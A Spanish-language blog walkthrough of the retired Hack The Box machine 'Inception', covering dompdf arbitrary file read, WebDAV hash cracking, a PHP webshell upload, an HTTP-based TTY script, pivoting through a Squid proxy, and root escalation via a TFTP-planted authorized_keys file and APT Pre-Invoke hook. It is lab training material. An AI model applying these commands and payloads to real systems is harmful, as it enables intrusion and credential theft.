Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

Maquina Retirada Inception de Hack The Box (Necesario VIP)

Inception ~ Hack The Box

Realizamos el Primer escaneo con Nmap

# nmap -p- --open -sS --min-rate 5000 -Pn -n -vvv 10.10.10.67

Realizamos el segundo escaneo para averiguar la version y servicios en los puerto abiertos

# nmap -sC -sV -p80,3128 -Pn -n -v 10.10.10.67

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved

Procedemos a enumerar el servicio http con la herramienta whatweb

# whatweb http://10.10.10.67                                                                                                                                                     
http://10.10.10.67 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.67], Script, Title[Inception]

Procedemos a hechar un ojo a la pagina web y al codigo fuente de la misma.

curl -s -X GET "http://10.10.10.67/"
<!-- Todo: test dompdf on php 7.x -->

Encontramos al final de codigo fuente algo sobre DOMPDF Investigamos a nivel google que es DOMPDF: DOMPDF es un conversor de HTML a PDF escrito en PHP Buscamos Exploits Github para DOMPDF: Encontramos este exploit de Arbitrary File Read en github– https://github.com/defarbs/dompdf-exploit

curl -s -X GET "10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd"

Tratamos el Output del comando anterior para verlo todo guay y decodificarlo

# curl -s -X GET "10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd" | grep -E '[.*?]' | grep -v  '%' | grep -v '/MediaBox' | grep -v '0.000' | awk '{print $8}' | tr -d '[()]' | base64 -d

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash

Identificamos un usuario llamado cobb Ahora que tenemos la vulnerabilidad de leer archivos de la maquina victima vamos a buscar por recursos interesantes en el sistema.

Enumerando el sistema atraves de un script en bash

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: Dompdf-RemoteFileRead.sh
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ #/bin/bash
   2   │ 
   3   │ # Arbitrary File Read Machine Inception HTB HacktheBox
   4   │ 
   5   │ file='$1'
   6   │ 
   7   │ if file != '$0' 2>/dev/null; then
   8   │ 
   9   │     curl -s -X GET "10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=$1" | grep -E '[.*?]' | grep -v  '%' | grep -v  '/MediaBox' | grep -v '0.000' | awk '{print $
       │ 8}' | tr -d '[()]' | base64 -d
  10   │ 
  11   │ fi
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Procedemos a enumerar el la ruta /etc/sites-availble/

# ./Dompdf-RemoteFileRead.sh /etc/apache2/sites-available/000-default.conf                                                                                                                                 
<VirtualHost *:80>
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        #ServerName www.example.com

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
        Alias /webdav_test_inception /var/www/html/webdav_test_inception
        <Location /webdav_test_inception>
                Options FollowSymLinks
                DAV On
                AuthType Basic
                AuthName "webdav test credential"
                AuthUserFile "/var/www/html/webdav_test_inception/webdav.passwd"
                Require valid-user
        </Location>
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

Encontramos la ruta a /webdav_test_inception/webdav.passwd Usamos nuestro script para visualizar el archivo en la ruta /var/www/html/webdav_test_inception/webdav.passwd

# ./Dompdf-RemoteFileRead.sh /var/www/html/webdav_test_inception/webdav.passwd                                                                                                   

"webdav_tester": "$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0"

Encontramos un hash que vamos a intentar romper con john:

# john --wordlist=/usr/share/wordlists/rockyou.txt hash
# john --show hash                                                                                                                                                               

"webdav_tester": "babygurl69"

1 password hash cracked, 0 left

Como vemos tenemos un webdav podemos intentar usar la herramienta cadaver para subir archivos atraves del webdav

cadaver http://10.10.10.67/webdav_test_inception/
Nombre de usuario: webdav_tester
Contraseña: 

dav:/webdav_test_inception/> ls
Listando colección `/webdav_test_inception/': exitoso.
        webdav.passwd                         52  nov  8  2017

dav:/webdav_test_inception/> put webshell.php
Transferiendo webshell.php a '/webdav_test_inception/webshell.php':
 Progreso: [                              ]   0,0% of 36 bytes Progreso: [=============================>] 100,0% of 36 bytes exitoso.

Nos subimos el siguiente script en webshell.php

# cat webshell.php                                                                                                                                                              
<?php
        system($_REQUEST['cmd']);
?>

Nos autenticamos al webdav por http y procedemos a apuntar al script webshell.php almacenado en el webdav

http://10.10.10.67/webdav_test_inception/webshell.php?cmd=whoami
www-data

Procedemos a intentar ganar acceso a la maquina desde nuestra webshell, pero vemos que por IPTABLES estan todas las conexiones interceptadas para que no se pueda. Asique hacemos uso del concepto Over-HTTP-TTY de s4vitar para jugar con mkfifo

https://github.com/s4vitar/ttyoverhttp

Nos descargamos el repositorio y realizamos una modificacion fijandonos en que tenemos una Cookie de Seesion

Authorization: Basic d2ViZGF2X3Rlc3RlcjpiYWJ5Z3VybDY5

Modificamos lo siguiente para proporcionar atraves de la cabecera headers la coockie

def RunCmd(cmd):
        cmd = cmd.encode('utf-8')
        cmd = b64encode(cmd).decode('utf-8')
        payload = {
                'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
                }

        headers = {
                'Authorization': 'Basic d2ViZGF2X3Rlc3RlcjpiYWJ5Z3VybDY5'
                }

        result = (requests.get('http://10.10.10.67/webdav_test_inception/webshell.php', params=payload, headers=headers, timeout=5).text).strip()
        return result

def WriteCmd(cmd):
        cmd = cmd.encode('utf-8')
        cmd = b64encode(cmd).decode('utf-8')
        payload = {
                'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
        }

        headers = {
                'Authorization': 'Basic d2ViZGF2X3Rlc3RlcjpiYWJ5Z3VybDY5'
        }

        result = (requests.get('http://10.10.10.67/webdav_test_inception/webshell.php', params=payload, headers=headers, timeout=5).text).strip()
        return result

Y ya si lo lanzamos obtenemos una FULL TTY desde una webshell, jugando con mkfifo.

Intrusion atraves de la utilidad FULL-TTY-Over-HTTP

Lanzamos el script:

# rlwrap python3 tty_over_http.py                                                                                                                                                                            1 ⚙
whoami
www-data
hostname -I
192.168.0.10
> 

Enumeramos el sistema en busca de credenciales e usuarios.

pwd
/var/www/html
ls -l
total 8044
-rw-r--r-- 1 root     root       17128 May  7  2017 LICENSE.txt
-rw-r--r-- 1 root     root        2307 May  7  2017 README.txt
drwxr-xr-x 6 root     root        4096 May  7  2017 assets
drwxrwxr-x 4 root     root        4096 Nov  6  2017 dompdf
drwxr-xr-x 2 root     root        4096 May  7  2017 images
-rw-r--r-- 1 root     root        2877 Nov  6  2017 index.html
-rw-r--r-- 1 root     root     8184961 Oct 31  2017 latest.tar.gz
drwxr-xr-x 2 www-data www-data    4096 Nov  2 12:36 webdav_test_inception
drwxr-xr-x 5 root     root        4096 Nov  6  2017 wordpress_4.8.3

Verificando usuarios en el sistema:

grep "sh" /etc/passwd
> root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash

Buscamos en el directorio wordpress_4.8.3 y encontramos un archivo wp-config.php

"root" : "VwPddNh7xMZyDQoByQL4"

Conectandonos a la maquina por SSH gracias al Squid Proxy

Como veiamos antes tenemos el puerto 3128 abierto con un servicio de Squid Proxy Procedemos a configurar el archivo de proxychains4.conf para apuntar a la maquina victima. Modificamos los siguiente: Comentamos la primera linea que se ve aqui y añadimos la ultima linea al codigo, justo al final del todo en el archivo de configuracion.

# nano /etc/proxychains4.conf

#socks4         127.0.0.1 9050
http    10.10.10.67 3128

Ahora ya podemos usar nmap para verificar que pasamos por el squid proxy con proxychains

# proxychains nmap -p22 -sT -v -n 127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-02 20:19 CET
Initiating Connect Scan at 20:19
Scanning 127.0.0.1 [1 port]
[proxychains] Strict chain  ...  10.10.10.67:3128  ...  127.0.0.1:22  ...  OK
Discovered open port 22/tcp on 127.0.0.1
Completed Connect Scan at 20:19, 0.17s elapsed (1 total ports)
Nmap scan report for 127.0.0.1
Host is up (0.17s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Read data files from: /usr/bin/../share/nmap

Pudiendo asi pues alcanzar el servicio ssh para conectarnos como el usuario cobb con la credencial obtenida anteriormente

# proxychains ssh cobb@127.0.0.1           
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  10.10.10.67:3128  ...  127.0.0.1:22  ...  OK
cobb@127.0.0.1's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Nov 30 20:06:16 2017 from 127.0.0.1
cobb@Inception:~$ 

Sacamos la flag user.txt

cobb@Inception:~$ cat user.txt 
4a8bc2d686d093f3f8axxxxxxxxxxxxxxx

Escalando Privilegios desde un Contenedor

Enumerando el posibles hosts en el segmento de red en el que se encuentra el contenedor

#!/bin/bash
# Programa para enumerar los hosts de tu segmento de red 

for i in $(seq 1 254) ; do
        timeout 1 bash -c "ping -c 1 192.168.0.$i" >/dev/null 2>&1 && echo "[*] EL Equipo: 192.168.0.$i esta Activo" &

done

Porcedemos a ejecutar el script en bash para identificar hosts

cobb@Inception:~$ ./host.sh 
[*] EL Equipo: 192.168.0.10 esta Activo
[*] EL Equipo: 192.168.0.1 esta Activo

Procedemos a modificar el script para descubrir puertos en el activo encontrado 192.168.0.1

#!/bin/bash
# Programa para enumerar los hosts de tu segmento de red 

for port in $(seq 1 65535) ; do
        timeout 1 bash -c "echo '' > /dev/tcp/192.168.0.1/$port" >/dev/null 2>&1 && echo "[*] EL Puerto: $port esta Activo" &

done

Ejecutamos el script modificado para encontrar puertos abiertos

cobb@Inception:~$ ./host.sh 
[*] EL Puerto: 22 esta Activo
[*] EL Puerto: 53 esta Activo
[*] EL Puerto: 21 esta Activo

Enuramos 3 puertos abiertos entre ellos el puerto 21 FTP, vamos a empezar enumerando este servicio e intentando conectarnos

cobb@Inception:~$ ftp 192.168.0.1
Connected to 192.168.0.1.
220 (vsFTPd 3.0.3)
Name (192.168.0.1:cobb): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Nov 30  2017 bin
drwxr-xr-x    3 0        0            4096 Nov 30  2017 boot
drwxr-xr-x   19 0        0            3920 Nov 03 09:32 dev
drwxr-xr-x   93 0        0            4096 Nov 30  2017 etc
drwxr-xr-x    2 0        0            4096 Nov 06  2017 home
lrwxrwxrwx    1 0        0              33 Nov 30  2017 initrd.img -> boot/initrd.img-4.4.0-101-generic
lrwxrwxrwx    1 0        0              32 Nov 06  2017 initrd.img.old -> boot/initrd.img-4.4.0-98-generic
drwxr-xr-x   22 0        0            4096 Nov 30  2017 lib
drwxr-xr-x    2 0        0            4096 Oct 30  2017 lib64
drwx------    2 0        0           16384 Oct 30  2017 lost+found
drwxr-xr-x    3 0        0            4096 Oct 30  2017 media
drwxr-xr-x    2 0        0            4096 Aug 01  2017 mnt
drwxr-xr-x    2 0        0            4096 Aug 01  2017 opt
dr-xr-xr-x  198 0        0               0 Nov 03 09:32 proc
drwx------    6 0        0            4096 Nov 08  2017 root
drwxr-xr-x   26 0        0             920 Nov 03 09:32 run
drwxr-xr-x    2 0        0           12288 Nov 30  2017 sbin
drwxr-xr-x    2 0        0            4096 Apr 29  2017 snap
drwxr-xr-x    3 0        0            4096 Nov 06  2017 srv
dr-xr-xr-x   13 0        0               0 Nov 03 09:32 sys
drwxrwxrwt   10 0        0            4096 Nov 03 10:00 tmp
drwxr-xr-x   10 0        0            4096 Oct 30  2017 usr
drwxr-xr-x   13 0        0            4096 Oct 30  2017 var
lrwxrwxrwx    1 0        0              30 Nov 30  2017 vmlinuz -> boot/vmlinuz-4.4.0-101-generic
lrwxrwxrwx    1 0        0              29 Nov 06  2017 vmlinuz.old -> boot/vmlinuz-4.4.0-98-generic
226 Directory send OK.

Nos conectamos como el usuario anonymous sin password al servicio FTP

ftp> cd root
550 Failed to change directory.

Intentamos acceder al directorio root y vemos que no lo conseguimos.. Probamos a listar tareas cron desde el servicio FTP

cobb@Inception:~$ cat crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 *   * * *   root    apt update 2>&1 >/var/log/apt/custom.log
30 23   * * *   root    apt upgrade -y 2>&1 >/dev/null
cobb@Inception:~$ 

Y encontramos que se esta haciendo cada 5min una actualizacion del sistema, eso es critico, porque resulta que existe un Pre Commando que se puede ejecutar tanto antes como despues de ejecutarse el upgrade. https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/

Procedemos de la siguiente forma… Recordamos que tambien existe la utilidad TFTP con la que si por algun factor nos permitiese subir archivos ya que por FTP no podemos, podriamos intentar colarle un archivo en la ruta /etc/apt/apt.conf.d/ para intentar ejecutar un commando.

Creandonos una clave SSH publica para intentar subirla a la maquina victima atraves del servicio TFTP en el directorio /root/.ssh/ llamandola Authorized_keys

cobb@Inception:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/cobb/.ssh/id_rsa): 
Created directory '/home/cobb/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/cobb/.ssh/id_rsa.
Your public key has been saved in /home/cobb/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:rXrmYDU7Y998A44tza0EMGOXxrNUw1jJTrw0rlmTPyY cobb@Inception
The key's randomart image is:
+---[RSA 2048]----+
|           *+.   |
|         ..oO.   |
|        = B= +   |
|       . O oB    |
|        S ++ o   |
|       . +o.E +  |
|      o *  *.= . |
|     . +o+o+= +  |
|      .+. ..+o . |
+----[SHA256]-----+
cobb@Inception:~$ cd .ssh/
cobb@Inception:~/.ssh$ ls
id_rsa  id_rsa.pub

Probamos a subir el archivo:

cobb@Inception:~/.ssh$ tftp 192.168.0.1
tftp> put id_rsa.pub /root/.ssh/authorized_keys
Sent 397 bytes in 0.0 seconds

Ahora procedemos a crearnos el archivo para meterlo en la ruta del /etc/apt/apt.conf.d/ y asi ejecutar un comando para darle los permisos necesarios a la clave athorized_keys para que nos establezca la conexion por ssh sin proporcionar contraseña.

cobb@Inception:~$ cat access 
APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};

Procedemos a a subir el archivo igual por TFTP y cuando se ejecute la tarea CRON deberia inyectarnos este comando establecido

cobb@Inception:~$ tftp 192.168.0.1
tftp> put access /etc/apt/apt.conf.d/access
Sent 69 bytes in 0.0 seconds

Una vez subido el archivo probamos a conectarnos por SSH a la maquina

cobb@Inception:~$ ssh root@192.168.0.1
The authenticity of host '192.168.0.1 (192.168.0.1)' can't be established.
ECDSA key fingerprint is SHA256:zj8NiAd9po8KKA/z7MGKjn7j6wPFpA2Y6bDTRecUrdE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.1' (ECDSA) to the list of known hosts.
root@192.168.0.1's password:

Vemos que demomento aun nos pide contraseña para entrar, en el momento que se aplique nuestro comando, conseguiremos entrar sin proporcionar contraseña.

cobb@Inception:~$ ssh root@192.168.0.1
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Thu Nov 30 20:04:21 2017
root@Inception:~# 

Procedemos a sacar la flag root.txt

root@Inception:~# cat root.txt 
8d1e2e91de427a6fc1a9dc30xxxxxxxxx

Maquina Inception Rooteada - KOH